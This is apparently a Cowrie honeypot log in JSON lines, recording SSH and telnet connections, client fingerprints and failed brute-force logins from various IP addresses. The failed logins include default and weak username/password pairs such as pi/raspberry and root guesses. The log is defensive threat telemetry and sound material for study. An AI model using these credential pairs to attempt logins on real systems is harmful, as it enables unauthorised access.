{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.347623Z","src_ip":"94.26.106.229","session":"aa3469d65164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.360476Z","src_ip":"45.156.87.204","session":"1abdda81fff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftp123","message":"login attempt [sftp/sftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.597981Z","src_ip":"94.26.106.229","session":"aa3469d65164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.607556Z","src_ip":"45.156.87.204","session":"1abdda81fff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":59022,"dst_ip":"10.17.0.5","dst_port":22,"session":"875f33c5f4a0","protocol":"ssh","message":"New connection: 103.173.227.57:59022 (10.17.0.5:22) [session: 875f33c5f4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.971240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.976050Z","src_ip":"103.173.227.57","session":"875f33c5f4a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:45.213054Z","src_ip":"103.173.227.57","session":"875f33c5f4a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:45.683533Z","src_ip":"94.26.106.229","session":"aa3469d65164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:45.691557Z","src_ip":"45.156.87.204","session":"1abdda81fff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gtnhjdf","message":"login attempt [root/gtnhjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:45.924420Z","src_ip":"103.173.227.57","session":"875f33c5f4a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38328,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25c91bc9d84","protocol":"telnet","message":"New connection: 152.42.224.71:38328 (10.17.0.5:23) [session: e25c91bc9d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:46.459091Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":59542,"dst_ip":"159.203.135.109","dst_port":22,"session":"453335ac6d01","protocol":"ssh","message":"New connection: 119.28.114.76:59542 (159.203.135.109:22) [session: 453335ac6d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:46.805686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:46.809867Z","src_ip":"119.28.114.76","session":"453335ac6d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:47.046966Z","src_ip":"119.28.114.76","session":"453335ac6d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:47.163019Z","src_ip":"103.173.227.57","session":"875f33c5f4a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":43790,"dst_ip":"159.203.135.109","dst_port":22,"session":"572e22b3463a","protocol":"ssh","message":"New connection: 42.200.78.78:43790 (159.203.135.109:22) [session: 572e22b3463a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:47.213176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:47.217227Z","src_ip":"42.200.78.78","session":"572e22b3463a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:47.431417Z","src_ip":"42.200.78.78","session":"572e22b3463a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47094,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dcbbc3949bf","protocol":"ssh","message":"New connection: 45.156.87.204:47094 (159.203.135.109:22) [session: 7dcbbc3949bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:47.814822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:47.819101Z","src_ip":"45.156.87.204","session":"7dcbbc3949bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:47.901748Z","src_ip":"45.156.87.204","session":"7dcbbc3949bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123123","message":"login attempt [newuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:48.024911Z","src_ip":"119.28.114.76","session":"453335ac6d01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:48.273608Z","src_ip":"45.156.87.204","session":"7dcbbc3949bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"Changeme_123","message":"login attempt [dbuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:48.322376Z","src_ip":"42.200.78.78","session":"572e22b3463a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":52252,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe33483f6f20","protocol":"ssh","message":"New connection: 46.19.67.181:52252 (159.203.135.109:22) [session: fe33483f6f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:48.899099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:48.903837Z","src_ip":"46.19.67.181","session":"fe33483f6f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:49.016985Z","src_ip":"46.19.67.181","session":"fe33483f6f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:49.263735Z","src_ip":"119.28.114.76","session":"453335ac6d01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eiaei","message":"login attempt [root/eiaei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:49.355433Z","src_ip":"46.19.67.181","session":"fe33483f6f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:49.360526Z","src_ip":"45.156.87.204","session":"7dcbbc3949bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:49.540027Z","src_ip":"42.200.78.78","session":"572e22b3463a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:50.471100Z","src_ip":"46.19.67.181","session":"fe33483f6f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":52964,"dst_ip":"159.203.135.109","dst_port":22,"session":"f06e04115acb","protocol":"ssh","message":"New connection: 124.155.125.131:52964 (159.203.135.109:22) [session: f06e04115acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:50.850282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:50.854725Z","src_ip":"124.155.125.131","session":"f06e04115acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:51.027594Z","src_ip":"124.155.125.131","session":"f06e04115acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":30468,"dst_ip":"159.203.135.109","dst_port":22,"session":"731aeb6c7341","protocol":"ssh","message":"New connection: 94.26.106.229:30468 (159.203.135.109:22) [session: 731aeb6c7341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:51.093380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:51.098637Z","src_ip":"94.26.106.229","session":"731aeb6c7341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:51.187210Z","src_ip":"94.26.106.229","session":"731aeb6c7341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadm","password":"webadm","message":"login attempt [webadm/webadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:51.451478Z","src_ip":"94.26.106.229","session":"731aeb6c7341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahmoud","password":"mahmoud","message":"login attempt [mahmoud/mahmoud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:51.750662Z","src_ip":"124.155.125.131","session":"f06e04115acb","protocol":"ssh"}
